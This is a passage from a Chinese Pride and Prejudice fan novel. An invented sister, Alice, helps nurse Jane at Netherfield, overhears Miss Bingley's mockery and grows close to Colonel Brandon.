玛丽冷声：“别是因为军官才不回来的就行，莉迪亚这段时间都快把安娜小姐教的礼仪忘光了，基蒂也跟着她胡闹。” “让我们的耳朵清净一会难道不好吗？”班内特先生坐在主位，他说，“不然等那两个傻丫头回来，整间屋子都要被她们对军官的热情塞满了。” 这些时日，就连对红制服最无感的玛丽都从凯瑟琳和莉迪亚的滔滔不绝中记住了所有军官的名字，以及他们的住址，堪称颇受其扰。 班内特夫人可不喜欢听班内特先生这么说自己的女儿。 “哪有会说自己孩子傻的父母，我看她们可都聪明着呢。” “正因为你这么认为，”班内特先生说，“所以我得保持相反的意见才行。不然这个屋子里可就凑不出几个明智的人了。” “明智不明智的，等她们经历的多了总是会好的。再说啦，哪个年轻小姐会不喜欢红制服呢，不过这又不代表她们以后一定会嫁给一位红制服。我不就嫁给了你吗，班内特先生？” 班内特太太拥有丰富的经验。 “何况要是真有一位年收入有五六千英镑的上校，愿意娶走我的某一位女儿，我绝不会拒绝他的。我看那晚在卢卡斯小屋的福斯特上校就不错。” 在她们发表更多关于红制服的意见前，有男仆走了进来，他确定在座的哪一位是班内特小姐后，把信递给了简。 简忙不迭地放下刀叉。信的封面写了内瑟菲尔德的地址。班内太太太催促着她赶紧说是什么事。 信是宾利小姐写来的，只有短短四句话，先是邀请简和她们一道吃个晚饭，以及解释了原因——宾利先生和他的朋友们去了军官那里吃饭，她们很是无聊。 “家里还能腾出马匹来套车吗？”简问。 “我想不行，”班内特太太说，“简，你还是骑马吧。这样说不定还能在庄园那过夜。” 伊丽莎白和艾莉丝都不大赞同班内特夫人的主意，即便伊丽莎白提到宾利先生可能会用马车送简回来，班内特太太也有理有据地反驳了她的说法。 “他们会乘车去吃饭，而赫斯特夫妇只有车没有马。” “可是万一简淋雨了怎么办？”艾莉丝担心，她问，“妈妈，农场上的马也不能用吗？” “乖孩子，我保证那些马都有用处，绝对腾不出手。是吧，班内特先生？” 在班内特太太决意要做的情况下，很少有失败的时候。最后简不得不骑着仅有的一匹马离开。天气也应了班内特太太的心愿。简一出门，天色聚变，黑得像是入了夜，没过多久，暴雨倾盆而下。 艾莉丝不住地看着窗外，面带忧色。以简的速度，这一路过去少不了要被雨打湿。她暗自祈祷，希望简不会因此感冒。 雨噼里啪啦下了一整晚，直到第二天才堪堪停下。 少了三位小姐的班内特宅邸只剩下班内特太太的声音，她连连夸赞自己的那份机智，否则简绝不会有留宿内瑟菲尔德庄园的机会。 “想来整个郎伯恩村里最会说媒拉纤的就是你啦，我亲爱的太太。”班内特先生抖了抖手上的报纸，冷不丁地来了一句，“毕竟谁还能做到把天气的因素也考虑在内呢？” “光是家里这六个女儿就够我操心好几年了，别的小姐的婚事可不归我管。” 伊丽莎白说：“按照妈妈你的上心程度，也许再过不久就能少操心一个女儿的事了。” 她话虽这么说，但语气里却听不出几分高兴。比起撮合简和宾利先生的事，她更加担心简昨天出去的路上有没有淋到雨。 下着大雨的秋季可暖和不到哪里去。 有着这份担忧的不止伊丽莎白一个人，艾莉丝切了半天的香肠，结果还是玛丽提醒后才发现自己一口都没吃。实在是没什么胃口，她干脆放下刀叉，只端起高脚杯喝了几口蛋奶酒。 “宾利小姐她们不像是舍不得把壁炉烧得通红的吝啬性子。”玛丽说，“她们恨不得处处展现自己的与众不同，以此来拉远和乡下的距离，又怎么会怠慢她们邀请前往的客人。” 班内特家里，只有简得到几分宾利小姐的赏识，她也真心实意地认为宾利小姐是位热情友好的朋友。 玛丽的话不无道理。艾莉丝心中的忧虑有所缓解，她到底还是塞了几口面包和肉，省得没到下午茶的点就去劳烦厨娘。 奈何有些事是怕什么来什么。饭后没多久，从内瑟菲尔德庄园来了一封简的信。 “今天早晨我觉得有些不舒服……”伊丽莎白念道，“我的朋友们非要请一位医生来给我看看……我只是有点喉咙痛和头痛，其他的没什么，请不要太为我担心。” “她感冒了，”艾莉丝说，“我们昨天不该让她骑马去的。” 班内特先生也听到了伊丽莎白念的内容，他道：“我亲爱的太太，假使简得了重病送了命，我们多少可以因为她是遵循你的意志去追求宾利先生而有个安慰*。” 他说得那么严重，仿佛简依旧奄奄一息，命不久矣。 “我还没听说过谁是因为感冒送的命，”*班内特太太说，“简的朋友会好好照顾她的。而且基蒂和莉迪亚都没回来，现在没有马车能让我们去看望简。” 看着着急到来回踱步，恨不得马上到简身边的伊丽莎白，艾莉丝猜到她一定会想要去内瑟菲尔德庄园，哪怕是走去也无所谓。 “妈妈，简正生着病，肯定很想见见家里人，”她抱住班内特太太的胳膊，“不如我和丽齐过去看看她的情况，晚饭前就回来。” 下过雨的路可不好走，要是她们俩这么走过去，怕是到了内瑟菲尔德的样子也好不到哪里去。班内特太太哪能想象那个画面，她刚要出声反驳，就见艾莉丝的脸上写满央求。 “是啊，万一简不想让我们太担心，所以把病情往轻了描述呢？”伊丽莎白赶紧说，“妈妈，就让我们去吧。” 班内特太太囔囔着：“我可管不住你们的腿。” “妈妈最好了。”艾莉丝一把抱住班内特太太，亲在她的脸上。 想着下午就会回来，艾莉丝和伊丽莎白便没拿什么东西。她们挂念着简，走得分外匆忙，又因路上满是泥泞，三英里的距离无端被拉长了许多。等到经过数不清的田地、栅栏和水洼，终于看到那座富丽堂皇的庄园时，她们早已双腿酸软地再迈不开一步。 “我得说，哪怕跳上一整夜的舞，都不会比现在更累了。”艾莉丝喘着气，脸上满是因徒步而泛起的红晕。 伊丽莎白也没好到哪里去，她半扎起的头发被风吹了一路，乱蓬蓬地披在前胸。 11. 第十一章 《[傲慢与偏见]艾莉丝的鸢尾花》全本免费阅读 没人能拒绝一位心系亲人的小姐，哪怕宾利小姐觉得她们的行为太过夸张，依旧主动起身为其带路。 这一下，艾莉丝倒认为宾利小姐对简的友谊或许不算逢场作戏，对她的印象有所改观。直到离开，艾莉丝才注意到身侧的绅士是昨日才见过的布兰登上校，她匆匆点过头以示招呼，便急急忙忙跟着宾利小姐离开，全然没察觉背后有道目光久久凝视着她。 推开卧室的门，简果真如赫斯特夫人所形容的那般憔悴。她的脸颊苍白，往日富有光泽的金发此时像是打了蔫，垂落在枕面上。艾莉丝小心翼翼地走进，却不想简尚未睡着，一听到声线便睁开了眼：“艾莉丝、丽齐，你们怎么来了？” “我和丽齐实在担心你，就干脆过来了。” “简，你还好些吗？”伊丽莎白快步上前，坐到床边，握住简的手，似乎想要借此给她一些力量，也给自己一些安慰。 对于两个妹妹的到来，简又惊又喜，她想强撑着虚弱的身体靠起来，艾莉丝赶忙让她躺回去休息。 “我想我没什么大碍，只是有些感冒常见的症状。” 尽管如此，但一向健康的简此刻如此虚弱，两个妹妹看了便觉得难受，心下不住地后悔昨天没拦住班内特太太。 倒是简在妹妹们的陪伴下有了些安心的感觉，她生着病，又刚吃过药，即便想和她们多说会话也是有心无力，没过一会又陷入昏沉的状态。 看着她因发烧而酡红的脸，艾莉丝说：“早知道莉迪亚和基蒂待在姨妈家不回来，我就不提坐马车的事了。” “这可怪不得你。就算家里有多余的马，妈妈也不会让简坐马车去的。” 这可是难得的可以让有情的单身男女相处的机会，班内特太太哪会放弃。得知简感冒后，她虽然担心，但也认为简能够因祸得福，在内瑟菲尔德庄园里多住上几天。 艾莉丝叹了口气。 她第一次觉得事关姐姐的热闹并不好瞧。倘若一桩婚姻需要用亲人的健康做交换，那比起某某夫人，她更乐意看到一个活蹦乱跳的班内特小姐。 四柱床上的帷幔厚重，好像压得睡梦中的简喘不过气来，汗水止不住的从简的额头鬓角滴落进发间，总是红润的唇也干燥地起了皮。 伊丽莎白替简擦拭汗水的时候，艾莉丝轻手轻脚地离开卧室。门口的女仆不在，她按照来的方向原路下楼。 主人家都还在早餐室用餐，摆在门口的屏风能让他们在有客人进来前整理仪容，此时却也让艾莉丝无意间听到了他们的聊天。 “真是难以想象，”是赫斯特夫人，“她们居然就这么徒步走过来，可真教我吓了一大跳。她们哪里有半点淑女的仪态，倒像是两个疯子。*” “看她们那乱的像是杂草的头发，确实很难不让人把她们和疯子联系在一起。我差点就要笑出来。” “不止头发，还有衬裙。我保证，上面的泥足有六英寸。那位伊丽莎白小姐还拉了拉外面的裙子，就是没有什么效果。*” 她们话里是藏不住的嘲讽，和刚才友好招待的态度截然相反。 正要询问茶水的艾莉丝没再往前走，她紧抿着唇，双手攥住裙子。 哪怕来得路上再小心，裙面依旧沾上了溅开的泥点子，更不肖说里面的衬裙，怕是行走间便能别人一眼看见脏污。这般狼狈的模样，和脚下踩着的绣满花纹的干净地毯像是处在两个世界一般，格格不入。 “要我说，她们真是大题小做，难道我们还能慢待了简不成？”宾利小姐不满。 “毕竟是乡下的小姐嘛，又没正儿八经学过礼仪。”赫斯特夫人看似是为她们解释，但艾莉丝哪能不知这是在嘲笑她们。 虽然很想就这么进去，看看她们是否会因此而笑容凝固，但理智压住了艾莉丝的冲动——无论如何，她们对简起码不错。如此反复几遍，好不容易压下心中的气愤，艾莉丝准备等她们嘲笑够了再下来。 “Mi……” s尚未发音，受到惊吓的艾莉丝猛地转过头去。 是布兰登上校。 他像是发现自己出现的时机不太准确，知情趣地保持了沉默。 屏风后的嘲笑还在继续，赫斯特夫人为简感到可惜，因为她有着看不懂眼色、听不懂人话的母亲，还有毫无礼仪的妹妹，以及拿不上台面的亲戚，而宾利小姐则用着古怪的口吻说伊丽莎白走进屋的样子一定很动人，否则她不会没注意到那条脏的都是泥浆的衬裙。 艾莉丝默默地攥紧手心。 再没什么能比现在的情形更令人难堪的了，她甚至生气于为什么要在这当儿撞见布兰登上校——他和里面的人才是一伙儿的。 布兰登上校被迁怒而不知。 在艾莉丝刚一进门时，他只瞧见她不复往日春光般明媚的愁容，而随着赫斯特夫人和宾利小姐的嘲讽，他才留意到艾莉丝的形象。 大概是一路的奔波，艾莉丝辫起的棕色长卷发已有松散的迹象，几缕短的发丝已然溜出发辫，被风吹得凌乱。她涨红着脸，眉宇紧皱，乌黑的眼眸像是积攒了漫天的阴云，就要下起一场大雨般，连着她总是含笑的唇角也微微下压。 “达西先生，你觉得呢？”犹嫌不够，宾利小姐问。 在听到回复前，布兰登上校率先采取行动，去到外面的走廊。 窗外的天阴沉灰蒙，连带着照入廊内的光线昏暗如水。一时间，气氛寂静的只能听到几声轻浅的呼吸。 赫斯特夫人和宾利小姐刻薄的言论犹在耳边，艾莉丝料想她们还在继续对她的家人评头论足。 心沉甸甸地坠下。 布兰登上校……他在其中又扮演着怎样的角色呢？ 艾莉丝不想恶意揣测一位绅士，可比起才相识几日的人来说，肯定是多年的朋友更为重要。今日是她恰好听到，指不定赫斯特夫人和宾利小姐平日里是怎样嘲笑她们一家的。 “艾莉丝小姐……” 他不开口则已，一开口，艾莉丝再按捺不住：“布兰登上校，想来你也很赞同她们的话吧。”愤怒致使她的胸脯不住起伏，“我们这般狼狈的上门拜访，真是教你们看笑话了。” 布兰登上校当即否认了她的说法，他郑重解释：“艾莉丝小姐，请你相信我，我并没有过这样的想法。” 他微微前倾，茶褐色的双眼毫不闪躲。 “尽管这么说很难证明，可我从不认为你们今日的行为是所谓的笑话。相反，这正是你们姐妹关系和睦的表现。我羡慕都来不及，又怎会讥讽你们 12. 第十二章 《[傲慢与偏见]艾莉丝的鸢尾花》全本免费阅读 回到卧室没多久，便有女仆端来茶水。艾莉丝将其放在床边的柜子上，等简清醒了再喝。她和伊丽莎白安静地守在屋子里，只轻声低语，讨论简的病情，观察她的反应。 一整个下午，简醒来的那段时间，宾利小姐和赫斯特夫人上来小陪了一会，她们表现得分外热情友好，言语中都是对简的关心，并且再三表明她该躺着多休息会，请她别急着回家去。 得到如此周到的照顾，简不消多说，就连伊丽莎白对她们的印象都有所好转，认为她们虽然在其他方面过于高高在上，但在对待简的态度上可以说是无可挑剔。 如果没发生早上那个意外的话，艾莉丝怕是也会赞同伊丽莎白的观点。谁能想到自诩接受过高等教育的优雅的女士，会在背后如此讥讽朋友的家人？然而再是不满，她还是没表露出半分，只静静地坐在旁边。 “时间差不多了，”伊丽莎白看了看外面的天色，她们和班内特太太保证过会在晚饭前回去，“我和艾莉丝得走了。” 宾利小姐巴不得伊丽莎白不留下用晚餐，见她要走，便主动提出用庄园里的马车送她们回去。赫斯特夫人倒是圆了几句：“这个天看着不像是要出太阳的样子，坐马车的话保险一些，省得你们也淋了雨。” 她说得这么恳切，似乎并不介意伊丽莎白和艾莉丝衬裙上的泥浆。 不过简很是舍不得两个妹妹离开，宾利小姐不得不改口，帮着简劝说她们在庄园里留宿。 “有你们陪着，说不定简也能快一点康复。” “那就打扰你们了。”伊丽莎白还是应了下来。 于是宾利小姐和赫斯特夫人下楼，她们得嘱咐男仆去一趟班内特宅邸，替两位客人拿些换洗衣服来。 “艾莉丝，你都没怎么和宾利小姐她们搭话，”伊丽莎白很是敏锐，她问，“是发生了什么吗？” 艾莉丝不打算让伊丽莎白为了背后的指指点点烦心气恼，她隐瞒了实情：“哪有什么事，我这不是看她们担心简，所以想着让她们多聊会。” 这谎话太拙劣，伊丽莎白定睛看了她两眼，确定不是大事后才作罢。 晚餐期间，由于挂念着简，伊丽莎白和艾莉丝匆匆吃过后便回到了楼上。 宾利先生感慨于她们的手足情深，心中更是牵挂着简的身体。若非男士不能轻易踏足女士的卧室，他更想亲眼看看简究竟怎么样了。 他的妹妹宾利小姐却是看她们哪哪都不顺眼。 当然，艾莉丝是顺带的，她最不喜欢的要属那位吸引达西先生注意力的伊丽莎白·班内特小姐。 这不难想象。 达西先生在梅里顿的评价是目中无人、为人傲慢，可这在同样高傲的宾利小姐眼中反倒是个优点，甚至能称为是自诩身份的人的相通之处，更别提达西先生家境优渥、仪表堂堂，很难有小姐不对其动心。 凭着宾利先生妹妹的身份，宾利小姐可谓是近水楼台先得月，哪像班内特太太那般苦心积虑地替简谋划。 可惜，有些事情大抵还是要看缘分的。 打一开始来到梅里顿，达西先生就没露出过好脸色，哪怕是年轻小姐也得不到他的和颜悦色。 始终关注他的宾利小姐刚放下心，就见达西先生不知是怎么回事，突然频频出现在伊丽莎白附近，他还注意到她有一双美丽的眼睛。 “伊丽莎白小姐的出身注定她无法成为彭伯里的女主人，”赫斯特夫人清楚宾利小姐的心思，“达西先生只是一时被吸引了而已。” 宾利小姐对此再清楚不过，但不妨碍她心生不喜。 今早伊丽莎白她们以极其不雅的形象登门拜访，她借着伊丽莎白糟糕的裙摆来打趣达西先生时，却没如愿得到她想要的回答。 达西先生表示他没注意到伊丽莎白衬裙上的泥浆，并且直言：“她的眼睛更加明亮了。” 场面一度陷入尴尬，直到赫斯特夫人着重强调班内特家做律师和从商的亲戚，才得到达西先生对她们无法嫁给有身份的男士这一观点的认可。 半途出去过一趟的布兰登上校回来后神情恍惚，他和心神不定的宾利先生两人想着自己的事情，根本没理会那些话。 在他们的一言不发下，宾利小姐和赫斯特夫人犹如打了一场胜仗，连着晚餐后的闲余都不消停。 “她们用餐的习惯既没有规矩，又不够文雅，我真不明白她们父母是怎么教养的。” “说明女子有接受正规教育的必要，”宾利小姐说，“即便不去学校，她们也该跟随相应的家庭教师学习，否则在言行举止上容易成为别人的笑料。” “考虑到她们是姐妹六个，不去女子学校也算是情有可原。” 赫斯特太太又道：“比起班内特小姐，她的妹妹们在各方面的表现都粗俗不少，但这也难怪，一个家庭教师哪能兼顾得了所有的课程。” “她们的妈妈倒是十分自豪，尽管我找不到半点值得她骄傲的地方。” 明明宾利小姐和赫斯特太太一应一和，却又像是在唱独角戏，在座的男士不是喝酒，就是在下象棋，备受关注的达西先生则在看棋。 宾利先生执白棋，布兰登上校执黑棋，他们端得严肃认真，垂眸看着黑白棋子拼杀的棋盘，结果被“将军”的白方没能采取对应的“应将”措施。 “我没看出你们的心思有分给棋盘一星半点。”又一次指出走棋上的错误，达西先生忍无可忍。 宾利先生后知后觉，打算换一颗棋子，又被达西先生打断：“你刚才那颗棋还能应将。” “我都没反应过来，”宾利先生承认，“或许我今晚的状态不适合下棋。” 他是忧心班内特小姐。虽然不看好这段感情，但达西先生能够理解。不过，他看着另一位好友：“布兰登，是什么事让你一整天都心不在焉？” 认识以来，布兰登上校行事一向沉稳可靠，和人相处妥帖有礼，今个却频频出神，乃至宾利先生走棋的失误都没发现。 达西先生很少见他如此，因而愈发认为他遇到的不是一般事。 “我……” 清早那句话如有万钧之力，搅乱布兰登上校的心湖。他低头看着棋面，黑色的棋子在烛光下染上暖黄，闪烁着温润的光泽。他想起那双乌黑的眼眸，像是盛满了星光，教人驻足停留，只为了得到哪怕一瞬的光辉。 布兰登上校差点要对好友全盘托出，紧张之下，他的手指触碰到冰凉的棋子。 理智重新占据上风，布兰登上校摇了摇头。 “我只是在想这雨会下多久。” 达西先生不是好糊弄的性子，看他似有保留，出于朋友应有的界限没再追问，只是心中略有猜测。 单纯的宾利先生只听出布兰登上校好像有了什么烦恼，他发挥一惯的热情说道：“尽管下雨天没法出门，很多活动进行不了，好在伊丽莎白小姐和艾莉丝小姐留了下来，我们可以聚在一起打打牌、聊聊天。” 此时夜色已深，雨声残响。 宾利先生刚才提到的人，伊丽莎白和艾莉丝进了休息室——有了妹妹的陪伴，班内特小姐感觉好多了，她在服用过药剂后已经入睡，她们便想着下楼小坐一会。 赫斯特先生想要打牌，然而人数不够，他便问做姐姐的那位是否有打牌的想法。 伊丽莎白推说她想拿本书看看，这话不知哪儿有问题，竟然能让宾利小姐扯到她看不起打牌这类的娱乐活动上去。 “打牌也是一门技术活，”伊丽莎白说，“如果有兴致 13. 第十三章 《[傲慢与偏见]艾莉丝的鸢尾花》全本免费阅读 眼见话题越跑越偏，宾利小姐不甘自己沦为陪衬，她灵机一动。 “好长一段时间不见乔治安娜，我都有些想她了。毕竟我从来没见过比乔治安娜更讨人喜欢的小姐，她长得好看，又多才多艺。” “如今的年轻小姐都能用多才多艺来形容，她们会不少技艺，比如装饰桌子、屏风，还有编织和绣花。”宾利先生夸赞道。 “你所举的例子太过普通，我想几乎所有的女性都能满足这些要求，”达西先生并不同意，他道，“事实上，真正能被称为多才多艺的女子却是少数，在我认识的小姐里不会超过半打。*” 宾利小姐率先迎合他，把自己除开在多才多艺的范畴之外。 “那么在你看来，一位多才多艺的小姐该具备哪些呢？”伊丽莎白彻底放弃阅读，她合起书，双眼直视达西先生。 “她们得精通音乐、唱歌、绘画、舞蹈，现代语言，”达西先生说，“以及通过阅读增长才智，这样才能说是多才多艺。” “还有仪态、语调和谈吐，如果一位小姐不注重她的言行，那么即便她学会了那些技艺，也和优雅端庄无关。”宾利小姐意有所指。 “如果这就是多才多艺的标准，那我对于你只认识寥寥几位才女这件事再没有过多的怀疑了。”伊丽莎白说，“或许我该怀疑你是否真的认识这样一位才女。” 宾利小姐替达西先生叫屈：“伊丽莎白·班内特小姐，你对女士的标准可真够苛刻的。” “为什么不是你们的要求就足够苛刻呢？”艾莉丝反问，“既要女子文雅娴静，又要能歌善舞，还要博览群书。” “不难怎么能区分从女性中辨别出真正的才女？”宾利小姐质问。 “那我们又怎么从男性中辨别出真正的绅士？” 伊丽莎白道：“他起码要精通古典文化、阿拉丁语、希腊语、修辞学、历史、算术，而且还应对神学有一定了解，拥有彬彬有礼的习惯，健康的体魄。” “当然，我认为最重要的当属是一个人的品行操守。” 艾莉丝和伊丽莎白的一问一答，完全对标达西先生和宾利小姐对才女的要求。 “噢，饶了我吧，”宾利先生夸张地叫嚷，“这像是在培养一个全能型的人才。” 布兰登上校道：“毕竟人们对才女的认可也不轻易，那么男子也该有一套类似的标准。” 把社会对女子的要求对标到男子身上后，他们仿佛更加容易理解，达西先生沉吟：“诚然，真正的绅士既要学识过人、又要身强体健，还要有高尚的品德。大部分男子并不能兼顾，但我想不是没有这样的人存在。” “起码在我认识的人里并不多。”伊丽莎白微微一笑。 被自己的话反将一军，达西先生却觉得自己的心脏像是被爱神之箭射中一般，他无法否认伊丽莎白对他的影响似乎在逐渐增加。 当然，在意识到这一点的同时，达西先生立刻要求自己冷静下来，强迫自己不再去关注伊丽莎白的一举一动。 更加配合他的是，没过几分钟，伊丽莎白就回了楼上。 出于各方面的原因，宾利小姐和赫斯特夫人瞧不上两个乡下姑娘的观念，一致认定这是她们用来博得男士青睐的不入流的伎俩。 达西先生没搭理专门说给他听的贬低言论，他重新充当起裁判，却对棋盘上频频出现的失误视若无睹。 大脑像是受到了干扰，频繁出现伊丽莎白的字眼。达西先生一边听着在座两位女士对伊丽莎白的评价，一边加以修正，他认为伊丽莎白不仅有着一双英气漂亮的眼睛，还十分聪颖伶俐，并非那些寻常的年轻小姐。而且不得不承认，找准机会反击的伊丽莎白也十分可爱。 但是，达西深知，他和伊丽莎白小姐是绝不会有可能的。在这种情况下，这份感情实在不合时宜。 情感和理智又在来回拉扯，达西的注意力逐渐远离棋盘，而走棋的当事人之一，布兰登上校同样没把心神放在上面。 使他心神不定的，自然是艾莉丝小姐。 打从认识以来，他在对方身上感受到了太多不可思议。 非是刻板印象，但大部分年轻小姐更容易怀揣着一颗浪漫的心，义无反顾地奔向有着迷人外表和翩翩风度的男士。这固然不是问题，但难免一些花花公子混迹其中，肆意糟蹋她们的心意，更有甚者骗人骗财，最后任由她们沦落到救济所，抱病而亡。 正因亲眼目睹过一条鲜活的生命无可挽回地流逝，布兰登上校越发做不到像世人那般苛求女子。 他料想不到的是，有着天真烂漫一面的艾莉丝却不像那些把浪漫奉为圭臬的小姐，比起外在，她更注重内在的品德——这往往是有过阅历的人才会总结出的道理，就连他本人，在艾莉丝这个年纪，也曾为了爱情燃烧过，仿佛只要能够和相爱的人携手，即便名誉有损、遭到家人厌弃，他都不愿退缩。 黑白交织的棋格如同扭曲的漩涡，坐在对面的人赫然变成了艾莉丝。她尚未排兵布阵，士兵便升为将军，并在布兰登上校的领地内虎视眈眈。 他看着场上所剩的棋子，摇摆不定，仿佛不管怎样谋划，都比不过艾莉丝随意走下的一步。 不过，真正和他下棋的却是宾利先生：“布兰登，还是你棋高一招啊！” 他的感慨召回了布兰登上校的思绪，他低下头，原来在走神之际，胜负已定。 “这回又输给你了。” “我也只是险胜罢了。” 另一头，平时健康的人一旦生起病，可以说是来势汹汹。简昏昏沉沉地睡着，整个人的状态又开始变差。艾莉丝和伊丽莎白不敢阖眼，照顾了她整整一晚，直到第二天清晨，简才有好转的迹象，并且不再恶化。 她们高兴的把这个消息说给宾利先生和他的两个姐妹听。保险起见，布兰登上校建议请医生过来确诊一下病人的情况。他最是年长，做事又有分寸，宾利先生当即听取了他的意见，派人去把琼斯先生请来。 姐妹俩谢过他们的这番好意。 布兰登上校心细，看到艾莉丝脸上露出几分倦怠之色，明白她是强撑着精神，忍不住多关心了两句。 所幸琼斯先生到的很快，观察过简的眼睛和脉搏，他断定病人再过不久就能痊愈，最近别吹冷风，按时吃药即可。 在场的人都松了口气。 宾利先生一扫这两日的忧心忡忡，他早先决定要在内瑟菲尔德庄园内举办一场舞会，如今可以吩咐仆人准备起来。 不过在班内特小姐修养的阶段，他让伊丽莎白和艾莉丝务必在庄园里多住几日，等到她们的姐姐完全康复了再说离开的事。 “你真是太客气了，”伊丽莎白说，“我们实在不好意思再过多打扰。” “这怎么能说是打扰呢？而且医生不是说班内特小姐近日还需多休息，你们尽管放心住下，有需求就吩咐下人。” 宾利小姐面色冷淡又不失礼貌地说：“简生病也有我们的一部分原因，我们该尽心照顾她才是。” 总之，面对主人家的挽留，伊丽莎白和艾莉丝不再拒绝，客客气气地谢了好几回。 念及她们一天没好好休息，男士们有礼地退出房间，赫斯特夫人和宾利小姐则代她们去楼上陪病人几个钟头。 小憩过后，彻夜不眠的疲惫散去，艾莉丝先去看了眼简的情况，在发现她正在睡觉之后，又寻到一楼的客厅。 今天是难得的好天气，阳光晴朗，透过大片的玻璃洒进室内，驱散了连日的阴影。 宾利先生和赫斯特夫妇坐在牌桌上专心致志地打着牌。达西先生匐在正对着窗的斜桌上写信。宾利小姐时不时出声和他搭 14. 第十四章 《[傲慢与偏见]艾莉丝的鸢尾花》全本免费阅读 伊丽莎白正聚精会神地观察自家妹妹和布兰登上校的互动，就见达西先生搁下笔，主动询问宾利小姐是否愿意赏脸，给他来点音乐。 想来他终于不胜其扰，决定让一直绞尽脑汁和他搭话的宾利小姐安静下来。 “伊丽莎白小姐，你要演奏一曲吗？”已经走到钢琴前的宾利小姐问。 “我就不献丑了，”伊丽莎白微笑，“还是由宾利小姐你来吧。” 宾利小姐的水平不差，她铆足了劲要在达西先生面前表现，因而挑选的音乐既能适当的炫耀技巧，又能流露其中的感情。奈何，她的这番努力并没得到应有的回应。 和认真聆听表演的其他人不同，达西先生频频抬眼，令伊丽莎白不敢置信的是，他目光的焦点是她自己。 总不能是她得到了达西先生的爱慕？ 伊丽莎白为这不切实际的猜想暗自发笑。按照常理来说，厌恶一个人的话，巴不得视对方如无物，又怎么会像达西先生这样一连几支曲子都暗地里注视她。伊丽莎白找不出合理的解释。 更让人出奇的是，当宾利小姐转弹起苏格兰小曲时，达西先生来到伊丽莎白的身边，这回不是因为宾利先生或者是威廉·卢卡斯爵士的劝说，他问： “班内特小姐，你是否想趁此机会跳一支舞？”* “或许他正爱慕着你。” 夜间，艾莉丝一身白色棉质睡裙坐在梳妆台前，看着镜子里帮忙拆辫子的伊丽莎白，她谈到白天达西先生的邀请。 家里几个姐妹各有各的气质，丽齐的温柔里还有着女儿家的调皮，哪怕她说些刺人的话，在听得懂的人眼里只觉得她聪慧可人。 至于听不懂话中深意的人，丽齐更不在意。 毕竟聪明人和笨蛋之间是有壁垒的，而丽齐和达西先生无疑都属于前者。 “不然怎么解释他的所作所为呢？”艾莉丝说，“他性格那么傲慢，几乎不拿正眼瞧人，除了你之外，梅里顿的姑娘可没有收到他邀舞的荣幸。” 她比出两根手指头：“还是两回。” “我不认为今天下午的那句话算是邀请，我甚至以为他是想趁机蔑视我。”伊丽莎白不认同，“当初还是他亲口告诉我‘如果有选择，他能不跳就不跳’。事实上，他也身体力行的照做了。” 屋子里烛火摇曳，镜面中映出她们满是疑惑的面容。 “他的态度真叫人奇怪。” 伊丽莎白附和：“他表现出谦恭的那一面时，就足够让我吃惊了。” 下午她想出言羞辱达西先生，哪知他不按常理出牌。面对她对是否跳舞的询问坚决说不，且让达西先生随意蔑视的回答，他不仅不冷漠轻蔑，还对着她出神。 “简每次出现，宾利先生的目光就会忍不住在她身上流连，”艾莉丝双手托腮，企图根据已知的情况分析，“达西先生从威廉爵士家的那次晚宴开始，就经常盯着你看，他和宾利先生相比，只差在没和你连跳上两支舞。” “达西先生可看不上和他身份不匹配的人。” 伊丽莎白不想再去纠结，反正她不喜欢达西先生，也不稀罕他的喜欢。倒是艾莉丝，在她没留意的工夫和那位年长的男士关系亲近不少，她问：“你和布兰登上校似乎很有话题？” 回想起和布兰登的几次相处，艾莉丝笑起来，她跟姐姐讲起自己新认识的朋友，态度坦然。 “上校懂得很多，和他聊天不会无话可说，也不用担心因为说错话而遭到鄙夷。而且上校会对我提到的颜料感兴趣，他主动问我颜料都能从哪些材料提取，在家都没人爱和我聊这些。” 都是正常社交范围内的聊天，艾莉丝不作隐瞒。她性子本就活泼，说到有意思的地方更是弯起眉眼，表情明媚。 “我看你对他的印象很不错，”伊丽莎白冲艾莉丝眨了眨眼。 “我觉得他是一位……”后知后觉的艾莉丝一愣，“丽齐，你在想什么呢。”她三两步走到床尾，和伊丽莎白嬉闹着倒在柔软的床铺上。 艾莉丝怕痒，自然不敌伊丽莎白，好半晌，她边笑边喘地求饶。 “好丽齐，我错了，你别扰我痒了。” “那你说，你以为他是一位怎么样的人？要知道，妈妈可不会拒绝一位有着固定年收入的上校。” 在伊丽莎白的痒痒肉威胁下，艾莉丝老老实实回答：“上校是位值得尊重的绅士。” 见她不信，艾莉丝说起不小心听到宾利小姐背后讽刺她们，而上校又是如何安慰她的事。 “所以那天你是为着这事才不开心的。” “要不是简那会儿不能起身，我都想让家里派马车来接我们回去了。” “妈妈可不会答应。”伊丽莎白说，“随她们嘲笑去吧，我才不会因为这些话就鄙夷自己的亲戚。” 艾莉丝无比赞同。菲利普斯姨妈和加德纳舅舅一家与她们交往甚密，关系向来要好。她不觉得和他们做亲戚有什么可丢脸的。 “而且就像上校说的，关心家人可不分什么失礼不失礼的。” “话虽如此，但她们毕竟是宾利先生的姐妹。”这才是要担忧的方面，伊丽莎白看着顶上垂下的帷幔。内瑟菲尔德庄园内的方方面面都彰显着主人家的财力，帷幔也是顶好的布料制成，“只希望简和宾利先生的发展能够顺利。” “简生病这几日，他看着关切极了。” “他若是无动于衷，那我倒要怀疑他对简的真心了。” “宾利先生的心意，我们都能看出来，”艾莉丝说，“而且他也不像宾利小姐和赫斯特夫人那样看不起简的亲友。”在看待简和宾利先生的事上，她要乐观许多，“简温柔又善良，她值得拥有一个幸福的未来。” “还有丽齐，”艾莉丝说，“你也会的。” “错了，是我们都会的。”伊丽莎白伸手摸了摸她的脑袋，有个嘴甜又可爱的妹妹，心情都治愈不少。 窗外的夜色浓郁。伊丽莎白睡在外边，互相道过晚安后，她翻身吹灭烛火。万籁俱寂。 第二天，简好转到能下楼下坐一会的程度，她苍白的脸上渐渐有了血色，聊起天来也精神不少。 伊丽莎白和艾莉丝拜托宾利先生派人给班内特宅邸送封信，好让家里人不至于对简的病情一无所知，最重要的是让家里人看好时间腾出马车来接她们回去，总不能一直叨扰别人。 “班内特小姐的病刚开始好，”宾利先生劝道，“你们不必担心什么打扰不打扰的，就住到班内特小姐完全康复了再走也不迟。” 宾利先生的盛情难却，姐妹几个不得不再次妥协，松口再住上两天。尽管他认为她们太心急，但最后还是定下了星期日这一天。 本着班内特小姐离开后就少了私下相处机会的想法，在赫斯特夫人建议在外面散会步后，宾利先生表示他打算和赫斯特先生、班内特小姐待在客厅里闲聊。 最后，除了一早不见人影的宾利小姐和达西先生，其他几人慢步在林荫小道上。 